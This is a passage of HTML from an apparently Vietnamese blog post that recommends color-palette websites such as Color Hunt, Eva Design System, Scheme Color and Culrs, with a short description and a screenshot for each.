src="/static/7a0b19ec4d8a142a9be17f09e86bd423/7c811/trang-web-tao-palette-mau-cuc-tot-coolors.png" srcset="/static/7a0b19ec4d8a142a9be17f09e86bd423/103f2/trang-web-tao-palette-mau-cuc-tot-coolors.png 165w, /static/7a0b19ec4d8a142a9be17f09e86bd423/748ba/trang-web-tao-palette-mau-cuc-tot-coolors.png 330w, /static/7a0b19ec4d8a142a9be17f09e86bd423/7c811/trang-web-tao-palette-mau-cuc-tot-coolors.png 660w, /static/7a0b19ec4d8a142a9be17f09e86bd423/d28e0/trang-web-tao-palette-mau-cuc-tot-coolors.png 990w, /static/7a0b19ec4d8a142a9be17f09e86bd423/98b00/trang-web-tao-palette-mau-cuc-tot-coolors.png 1202w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <h3 id="color-hunt" style="position:relative;"><a href="#color-hunt" aria-label="color hunt permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a><a href="https://colorhunt.co/">Color Hunt</a></h3> <p>Với Color Hunt, bạn cũng có thể tạo random các palette màu, xem tổ hợp màu nào đang phổ biến. Ngoài ra, bạn có thể theo dõi các palette màu theo chủ đề.</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 52.72727272727272%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACdklEQVQoz02RXUhTcRjG/xd1EYVQQtbAjOgi8CK6COymLCQl025SE0HICAIZhUqI9ImhRHoRRgV+pdKHaallMj+ZirkZTFt6yrNztsM259nOdv7nzG1u5+P/RlOql/fieZ/n4oHfiwTei7GsaRqARogCQAAACPm7hCQd2LL/aQBA6z6eEIVaDhbmDlzKG8g+1dvVvhIBZVUSmbDoJ4p9YeFJVdXTurrm6upvs1+vVj7LzqvNKbhTVtGEMJYBYMYsITS5Y+cUQqaaGibkZ+bMFuushf7lsI6O3s7Pv1dcXFtw0Tw0kp3zwGAozzh8LSurBmEsAWiUTcw/9qkw8/PpA/2dzRQz0WdqrJ9oarB0tQUoytbRsdTdY2tv81Orkx9tg61TQ+3TY+/mUSIe0wE0wRp5vTfyJnWjAylLD91BB+UY/Ml+cXqnoxJepx08y/A0vSHLixjPCYH5oGATQ0jX9T8kdE2LS6BHiRIm6qYOoG8RSkLSdHX7IkT7L0KJRAIAVGVTDLBYYEN+OhYVpZYG/sZlvvIKvm9cE5VxF5g5MsUBy0du3TQWFZeUlpYajUakKAoAxKOYo8Y5asL5YwQLTKj8jDsDuY+i4Nn9bCD2loF+h97nAptLOHQwDSUnLTUVJT8MMvZPj3bOjL2aHH7ppG2x90VC/Z5Q4z784gQJ+siqXaftwC6HObYsPT0HoVyEygyG7WYh4OvtaentaelufWxfnP9w9/qjcxmN5488r7igsiYYKSGmcjCVqCvDS8dPWnfvWkhJ+Z6Zud2sqmrAz8syliQxFov6OJ9zhfU6PF5mTdXDcc0FwGvg1fQN4NzgcoHHAx7PbxxY77nMJcgHAAAAAElFTkSuQmCC'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Color Hunt" title="Color Hunt" src="/static/f5ddfc6c8ec9757e1db4c559bba6d77f/7c811/trang-web-tao-palette-mau-cuc-tot-color-hunt.png" srcset="/static/f5ddfc6c8ec9757e1db4c559bba6d77f/103f2/trang-web-tao-palette-mau-cuc-tot-color-hunt.png 165w, /static/f5ddfc6c8ec9757e1db4c559bba6d77f/748ba/trang-web-tao-palette-mau-cuc-tot-color-hunt.png 330w, /static/f5ddfc6c8ec9757e1db4c559bba6d77f/7c811/trang-web-tao-palette-mau-cuc-tot-color-hunt.png 660w, /static/f5ddfc6c8ec9757e1db4c559bba6d77f/d28e0/trang-web-tao-palette-mau-cuc-tot-color-hunt.png 990w, /static/f5ddfc6c8ec9757e1db4c559bba6d77f/bb51b/trang-web-tao-palette-mau-cuc-tot-color-hunt.png 1320w, /static/f5ddfc6c8ec9757e1db4c559bba6d77f/545d7/trang-web-tao-palette-mau-cuc-tot-color-hunt.png 1562w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <h3 id="color---cloudflare-design" style="position:relative;"><a href="#color---cloudflare-design" aria-label="color cloudflare design permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a><a href="https://color.cloudflare.design/">Color - Cloudflare Design</a></h3> <p>Trang web này cũng phép bạn xem các palette màu một cách trực quan - cách mà palette màu được áp dụng vào thực tế.</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 73.93939393939394%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAIAAABr+ngCAAAACXBIWXMAAAsTAAALEwEAmpwYAAADTUlEQVQoz02QW2zTZhiGfbUrqggQSezGcePEduykduzWDanUIqCsjdNS1WWHRLDCeoEmpF1M09AuOGkXiG1F0I5jUctRlFIKSGgqqEJMjKrrQCqMIVqxDbQ2awqhzslxEh+mJID49OnTf/E+evX8gFEaTdNUVdU0zTD0vGZklVw6nV5cjKWSiWRCkqSlrKIUY7qm67phGIqixONxwHhvdF1fiMWe/fX305lZKZVOZAuv5cJCPJFKZ8bGxnsPH43HX5djuq5rmgaU2oyp36cO/dQ7Nj5+5+6vc9GolMn8PHp+YqhnbqxPfT75/NmTr/fv/qpv39U/b0czcVVVy2VA+fVjT98Hyxw1rZ937u7p2j+w88SN7d9+f+yH72Zvn5/97eYXO3Z92LX3m6MXrj2aOndxZOqX+2VTQNeKDo/vzVw5cOvxnX9iMfnMwSNXt+98cWRo/u60ksophUJsUVILRtk2m5azsvKmueRaPFI0mX6ZKbvnJSmvyJquzs//Ozk5kcmkDMN4JecX0rn3/whQ5JySyeWU3L0LD+5ffyQlEslXUvLh06UXUUM3ph883LNr3/zcf0ZenZh5Of7HQmopocj5IiXngJPhS/2R4f7I8ODW0cGu0VORy/2Ry6e2jB6PDB36aKA3fPps9/WBzVdOhocHN4+c3jJSChTzJ8JDwKe125rp9hDTKdBiS3VHkBYFWgzRYpM31B34cqt/x1oqKDCiwIhBWmyhi1dgxObqjWG+G6DxWhO4YiVkNllXrrJZy2uGoQrQ1Oxr38C0VYAmCKm0wKAZBi2lBe2VJmg5S/gBDg8EeP6zNnF9faPNjtgRB1KFIg6XGYZa2U0CK1pgiCQoFHVhGOF0Yk4nTuAkaLetphoBDl/N0N6ODS3r6htsdsTpdMFIFWyvWmWzhNjOINthtlk9pBdFnaSbRFEXirpIgrLClX6yAaghAhTlFtas/7g51La26ZOW1gDHOxxOCwy+g33VjAvDvZQXw3AMwym3B7S/hUmSaKpvbOD9NYyPpX0czfi8NIRUCr7OICuabVY/x+MY4SE9HtJDuSm2moHewQSB17N1dQzHM1wtwwVYnmdqrDAosG/gWoZzuTACd3tIyk24GQ8NIbY6suF/OZXY6tm2yOwAAAAASUVORK5CYII='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Color - Cloudflare Design" title="Color - Cloudflare Design" src="/static/8bdc8d0125d84ccbbbb81723fdac4666/7c811/trang-web-tao-palette-mau-cuc-tot-color-cloudflare-design.png" srcset="/static/8bdc8d0125d84ccbbbb81723fdac4666/103f2/trang-web-tao-palette-mau-cuc-tot-color-cloudflare-design.png 165w, /static/8bdc8d0125d84ccbbbb81723fdac4666/748ba/trang-web-tao-palette-mau-cuc-tot-color-cloudflare-design.png 330w, /static/8bdc8d0125d84ccbbbb81723fdac4666/7c811/trang-web-tao-palette-mau-cuc-tot-color-cloudflare-design.png 660w, /static/8bdc8d0125d84ccbbbb81723fdac4666/d28e0/trang-web-tao-palette-mau-cuc-tot-color-cloudflare-design.png 990w, /static/8bdc8d0125d84ccbbbb81723fdac4666/7e08f/trang-web-tao-palette-mau-cuc-tot-color-cloudflare-design.png 1186w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <h3 id="eva-design-system" style="position:relative;"><a href="#eva-design-system" aria-label="eva design system permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a><a href="https://colors.eva.design/">Eva Design System</a></h3> <p>Với Eva Design System, bạn chỉ cần nhập vào một mã màu chủ đạo. Sau đó, trang web này sẽ sử dụng AI để sinh ra tổ hợp màu tương ứng.</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 71.51515151515152%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAIAAACgpqunAAAACXBIWXMAAAsTAAALEwEAmpwYAAACqUlEQVQoz22Ru2tUURDGj4VY2FgqCFrb2FlY+AeIhSiSQiwEUREhqIWgRAttohAbHyT4KKIJqJD4iO6SxPcjuiZqYrJ57W50d2/2Jpt93b33ntfMJ0fByuE08zG/mfPNiLE5fE2H+Xw+t1DMLRQWS8v4XyilmmEUNEOAbj5F/1s2lkTOg1fmKIoqtaBWb4aR/Acw/3scS1VvNGv1JpNNpvB+gqUiEcv4x+RssVQmIJLqV7E0l8lncoVfxaVaSJE0sbKxMkobZVgZjpWVUntlW1y2wlpdXlkJI2WJlWKlrFRGumoNJkNsLUvDsXb/NJYUcU2jGXOsWOSXKO+rMAoBVMKCX18AAyA/5pmqAVkGSC6F5UltnBdq1OLMLDlTJCYXMD4bNRpVMBaDiZ8rX8kCsHMBXnkGRrkszmr/hdQgAGVfpT5KwFoSAGvLgYT62xjKUJXYrc2Aq4yI/+hsYCugkAFLBrIBHQkmyi7at2ku1QBGXWWX9VBIWRBy0iRjzGgGQ0cF1AcQTxCgqz7m36M0IwD7aZauJTCVdyP8+HO62b6kP4AxFpiLJQw2nK6DKeTbUHlMgFnMYrATE8MOHkhRaxc+TDtH89VnQ97+TNAPYLhsWqbQXXK6rIxgche8625yZhydpzB818HdQ7TzLBIpVzTqdXeOb035XQAeFvSW17iU+QP7SbzbiLkzDh4fwYnd6O4QgG7vURv22LuDbmPJ6Y6Tz1cl5i8CuPojErft8U8aQJDtsQ8EfWkxQPgqQds32/OtAsCFLn/NtvStvhUA/WOX93WJ+6PnHDyyLE5PH3niuQOle6fbRSmxD0A1OTCzfp137JCD265MiU19N3oyAHretO9oE7dfngVwbSgr9j46fOc7gJ+jvf1Hxbd7Di48HXiyeu3ogYO/Aey93u3NQCjbAAAAAElFTkSuQmCC'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Eva Design System" title="Eva Design System" src="/static/cf1da939ee304dc516905e0d603677a4/7c811/trang-web-tao-palette-mau-cuc-tot-eva-design-system.png" srcset="/static/cf1da939ee304dc516905e0d603677a4/103f2/trang-web-tao-palette-mau-cuc-tot-eva-design-system.png 165w, /static/cf1da939ee304dc516905e0d603677a4/748ba/trang-web-tao-palette-mau-cuc-tot-eva-design-system.png 330w, /static/cf1da939ee304dc516905e0d603677a4/7c811/trang-web-tao-palette-mau-cuc-tot-eva-design-system.png 660w, /static/cf1da939ee304dc516905e0d603677a4/d28e0/trang-web-tao-palette-mau-cuc-tot-eva-design-system.png 990w, /static/cf1da939ee304dc516905e0d603677a4/2561a/trang-web-tao-palette-mau-cuc-tot-eva-design-system.png 1180w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <h3 id="data-color-picker" style="position:relative;"><a href="#data-color-picker" aria-label="data color picker permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a><a href="https://learnui.design/tools/data-color-picker.html#palette">Data Color Picker</a></h3> <p>Data Color Picker hỗ trợ bạn nhập mã màu đầu tiên hoặc mã màu cuối cùng. Sau đó, palette màu tương ứng sẽ được tạo ra. Hơn nữa, trang web này còn cho phép bạn lựa chọn số lượng màu trong tổ hợp (từ 3 đến 8 màu).</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 70.9090909090909%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAIAAACgpqunAAAACXBIWXMAAAsTAAALEwEAmpwYAAACIUlEQVQoz42STU8TURSGZ6d7/Qu6ceFPcIOYWBtpbRpJcRgyFWKbGlwYY9y4IGhKE6sBEpAQw8Zg7IJodQHEEDVWalpl0Q2lTOkobel0hjt3Ptq59x7T4gc1Ufvm3Z08OV8vNzosDAfFa6FQOByORCI8z3s8nks/5fV6/X5/MBjkeT4oioM8LwwJd0OBt/eExJ0AZ+zXTaRhw7BtC2NsWhZjjP5djBFGidMkjkM4U60a6h42DNM0dV03DIMxBv/UrzJXrdV2y5XdclmSJLlUkmW52WxCd+K2CoVtSapUq6Zp5TfzklSsVKqMUEYo0ENmTtukAzZ1ZFsGABBCZHkHIdVu2t12Xs3kEmvpZOpz9st2OpVfX89/3SjVUvlyasvMFSDzCdIZ2MzCtyUoLsLe+8Nbcycv3+BOXzzuuiqOTPf1jHv6YovhJ2uuWPL8g53bkyD0s34BogIkjsIcB6u9bZYd8NwJ33XulOvYuaFBcdJ9Zsx9Ifp0ZP5Nb/RFT6x48yFc8THfAIwPwPMj8JiD5bMd8OijBfetCTE6Oze/Er+/FI+/+rjwLhdLZideK8+WYXaKTc2wlzPOh4Cz4iIbYx1jM0qwpjqNBmMUIdVpXws18L6pA4BqWXXLIgB1ROSKbjY6r61qmmU3AIBS9jsElLVNWxO2EkcOXsX+eJWiKEq9jjG2bVvHGCGkKMp/Q/YDbjG6jhCybRu3YU3TKKXdwN8BhY3MWz9IPt0AAAAASUVORK5CYII='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Data Color Picker" title="Data Color Picker" src="/static/a874624b7b06daa9ff0094cce13a225b/7c811/trang-web-tao-palette-mau-cuc-tot-data-color-picker.png" srcset="/static/a874624b7b06daa9ff0094cce13a225b/103f2/trang-web-tao-palette-mau-cuc-tot-data-color-picker.png 165w, /static/a874624b7b06daa9ff0094cce13a225b/748ba/trang-web-tao-palette-mau-cuc-tot-data-color-picker.png 330w, /static/a874624b7b06daa9ff0094cce13a225b/7c811/trang-web-tao-palette-mau-cuc-tot-data-color-picker.png 660w, /static/a874624b7b06daa9ff0094cce13a225b/d28e0/trang-web-tao-palette-mau-cuc-tot-data-color-picker.png 990w, /static/a874624b7b06daa9ff0094cce13a225b/4ee41/trang-web-tao-palette-mau-cuc-tot-data-color-picker.png 1185w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <h3 id="material-design-palette-generator" style="position:relative;"><a href="#material-design-palette-generator" aria-label="material design palette generator permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a><a href="https://materialpalettes.com/">Material Design Palette Generator</a></h3> <p>Trang web này giúp bạn tạo palette màu theo chuẩn Material Design của Google. Bạn chỉ cần nhập vào mã màu chủ đạo (primary color). Trang web sẽ tự động sinh ra tổ hợp màu giúp bạn.</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 67.27272727272727%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAIAAAAmMtkJAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB9klEQVQoz5WQP2gTURzHT8W2ZhAVRwedxF1RwUXBgm46iG5uXRxCR1ul6KZCF8Ghg6KD0C7SQZCY2i3JxSoklubyt4lpchfvz3t39+69d+/PT9wvg7/98/vw/Rj5fN7zPADQWsN/nuE4ttZACKOUM5pyJmjCGOWcpZxxzlOlpj41hOCEeIxjyhFhfsIxjr0oCQjFYRyg0FdKTYURYlXzT6eZDppyaEmnK9EB+CMIRhC5kGBgRMsUMjcZhUJkGPUzRxuXZtq3jvQfnrJXrgTP5/HqffxxKdp6S359Y5Oe4jQLDrH+YYq6KRqmalbU/o629+CgoceWdvsKO4oEilOtZIbaiDiu2WbNrQ7FngstDywEbQpDCmMKTgpIAlGQAmQsN772iodfzRxfz10s5O5VcwvW3NPx6TX3/Hpw5zNe3CFrXV70ZUdommVO0U+vVIvKFqn0ePm3KtlQDXQNaQvpLtFjpnyhE6WzzAlR7V027ssEA/H/RUYjCB2IXaAIeAyCghIAmbW3ttncyeGJC/bZ6+7VeXzzMrl7Lc0/kC8W5fuXsrgh6yU5GUyp/f1LfMPYXTjUXZkdvJ4dvTOcT8f87XOheTuuPyL7b+ikwElbyCSr9qTDNpdH5SeT2rLbWvKHjwPvWYhXSfSBRJtJUmGsxYUrdJoB/wWcU7KtfIaC8QAAAABJRU5ErkJggg=='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Material Design Palette Generator" title="Material Design Palette Generator" src="/static/fcf52be49388130f49baa070cc1695b7/7c811/trang-web-tao-palette-mau-cuc-tot-material-palette-colors.png" srcset="/static/fcf52be49388130f49baa070cc1695b7/103f2/trang-web-tao-palette-mau-cuc-tot-material-palette-colors.png 165w, /static/fcf52be49388130f49baa070cc1695b7/748ba/trang-web-tao-palette-mau-cuc-tot-material-palette-colors.png 330w, /static/fcf52be49388130f49baa070cc1695b7/7c811/trang-web-tao-palette-mau-cuc-tot-material-palette-colors.png 660w, /static/fcf52be49388130f49baa070cc1695b7/d28e0/trang-web-tao-palette-mau-cuc-tot-material-palette-colors.png 990w, /static/fcf52be49388130f49baa070cc1695b7/abff7/trang-web-tao-palette-mau-cuc-tot-material-palette-colors.png 1267w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <h3 id="scheme-color" style="position:relative;"><a href="#scheme-color" aria-label="scheme color permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a><a href="https://www.schemecolor.com/">Scheme Color</a></h3> <p>Scheme Color cung cấp các palette màu có sẵn. Bạn có thể lọc để tìm kiếm tổ hợp màu theo màu chủ đạo hoặc theo một chủ đề nhất định.</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 69.6969696969697%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAIAAACgpqunAAAACXBIWXMAAAsTAAALEwEAmpwYAAADQ0lEQVQozx2QbWgbdRzHD3zlG0EHQ33nwztHFRURQQX7atoNZlERqohViXMKOp1MBmNDXG27ymJrV5yr7bqNuDauTanpg+lsmzbxEpN2ebhe0ktySZvL3eUec/97vp9035efNx8+X8zMLbXCl9TwiDIzIk+NSDdHxGu/ieMTwuUx3j/G+SfYnwOM/9bewGSt/89q30yld67ct1A8N8/O5jE1+BV38lH25KG676ndD9qqnW10xwvVzo5K++HSi28Un+4oPPt2vu3d1MPH8ANvxQ50RR/sXn3oxDzmy3QHMIcnLSpqUXGT3DBJHOVxtBXTUjj6L67jydZ6Ql35V1lPSWtpdT2jRLPKWkbcyLERokUwWDL9eYMagPS5iu9+afr3i8N9ka43L17pi64+pgcD4z0D488cHFv2veI7Lc8GvP5huPrSINP+wOO3Q5/GMIr6o0GHbHpOmj6rZ/Hl6N/p61cjd8LiziBs3U0sLOK9Z1bio0OBkFXMofmoFu5frQ77L+2UwzXMRsDQLZXT4d7s3TpKZw1DS1v1PZBFAZUaigdg01WdFR1HsHRVRCrZIGoNDWM3uevnQ2n/vLeeAFPGuz/JY/f9szKJRZ84S/10uWfm6JFvAWDp1SOJry9AohdivwxuD2LPPfJe5xwm8mpxe5eleTBtAJDI7WZkmalX1phYw+ZIksY385qp19JZjqqZQlmtF2tKLUHmypSCga2BwToKI/OMa2qCDjXV4xXPQOB54CiyzXJssWZJDDiq7gDHq7Kg3Et0MYcIw+3j9YH3b5z+WMhGfrxBHP4memq0PhQWiSZYc38l3jn+3ZOd+S9fg9hQsux+f2b8hx5/vICDRGNIZRFP6PVsi9kBu0XSzdWtaqYkMLJrOOBKHJtJERspnSHBEXjJ3MxUGF7cF3sephClYii2NHV3KlIpiGifaggxvMQ1AdwMvltKauCCRzZdggFAIBPU4sr0xCJRKGHU2GTw9S8+e7mn/cPAZJ4GWUdb5exiKh3PATij5xeCpwoWCd6vEevasuM27OSVm10njj7/0a3gLKZIErvHSIJimI7teUjTJEEUmoJt75+vKi2uIRi6CY4LjqsjraXIjmHqyLAd539Y85Lu2UK90wAAAABJRU5ErkJggg=='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Scheme Color" title="Scheme Color" src="/static/5d3ed9ac02593443e9eb5157bc6a0505/7c811/trang-web-tao-palette-mau-cuc-tot-scheme-color.png" srcset="/static/5d3ed9ac02593443e9eb5157bc6a0505/103f2/trang-web-tao-palette-mau-cuc-tot-scheme-color.png 165w, /static/5d3ed9ac02593443e9eb5157bc6a0505/748ba/trang-web-tao-palette-mau-cuc-tot-scheme-color.png 330w, /static/5d3ed9ac02593443e9eb5157bc6a0505/7c811/trang-web-tao-palette-mau-cuc-tot-scheme-color.png 660w, /static/5d3ed9ac02593443e9eb5157bc6a0505/d28e0/trang-web-tao-palette-mau-cuc-tot-scheme-color.png 990w, /static/5d3ed9ac02593443e9eb5157bc6a0505/8283d/trang-web-tao-palette-mau-cuc-tot-scheme-color.png 1162w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <h3 id="culrs" style="position:relative;"><a href="#culrs" aria-label="culrs permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a><a href="https://www.culrs.com/#/">Culrs</a></h3> <p>Culrs giúp bạn tìm kiếm những palette màu rất trẻ trung và hiện đại.</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 63.03030303030304%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAIAAAAmMtkJAAAACXBIWXMAAAsTAAALEwEAmpwYAAACAUlEQVQoz33NyWtTURgF8PsvCK1D4xCH2BCjtFRjF24kCLoQNyIICca0SNGnYC1ZuKldue3KuhOqQrNtQePCaluTtDg0gUSsU8pLrclr33DfcN9wJykNTUHSw29x+ODjgLaj8b2B+G5/PBwRNM00DF1RFEVVIdQZ49tj247nYWQ7HsaGaWGMQXdYuPro9Z7u/nDPbQ1aUr0mrUl/V1elusQo5YxtIYRQSgkhjFGMMSEEREPC5OVn+4P9nV0DGjQJJZjQzSn2n+2hlILeS/eT14YvXnnYe2FIlg29/sdaFbkuM7jOobwD6jrgTSnzMj85VXiVevy0uqJyqeB8euEspp0vEy0tpp2Pz736EjgTfXD6/OCpc/ci0SF5HVbw2oz+LWf+yLaWM3/OGEtVWwYHg0lf4OYu3/VQzx1Ng99/eZl31nQWvf3Q0nQWZd6jiugC3/HEvmM32g/HwhFBViERKcwiYwHp8w3GfLM3LgtIzyJ7xQGHgn0dgUS7P3by7F1ZhoZpGrbrEuZg2kBoszePzPE84A/1bSxvPAuKapqa6FoVzuuc1XZGCQIdgcTmczgiqAqS+FyRjZb4WIk/aaXMx4p8VKJFcCR860Aw2eaPnYgIuqpP/VZTs8sjeXE419JIXkzNLs9VNdDZNbC1rEBY+4wL41Y5jUoTLZXTqDiOpK/uP0+EXALthHJYAAAAAElFTkSuQmCC'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Culrs" title="Culrs" src="/static/4be5b40f72873e203323755c658eaed0/7c811/trang-web-tao-palette-mau-cuc-tot-culrs.png" srcset="/static/4be5b40f72873e203323755c658eaed0/103f2/trang-web-tao-palette-mau-cuc-tot-culrs.png 165w, /static/4be5b40f72873e203323755c658eaed0/748ba/trang-web-tao-palette-mau-cuc-tot-culrs.png 330w, /static/4be5b40f72873e203323755c658eaed0/7c811/trang-web-tao-palette-mau-cuc-tot-culrs.png 660w, /static/4be5b40f72873e203323755c658eaed0/d28e0/trang-web-tao-palette-mau-cuc-tot-culrs.png 990w, /static/4be5b40f72873e203323755c658eaed0/bb51b/trang-web-tao-palette-mau-cuc-tot-culrs.png 1320w, 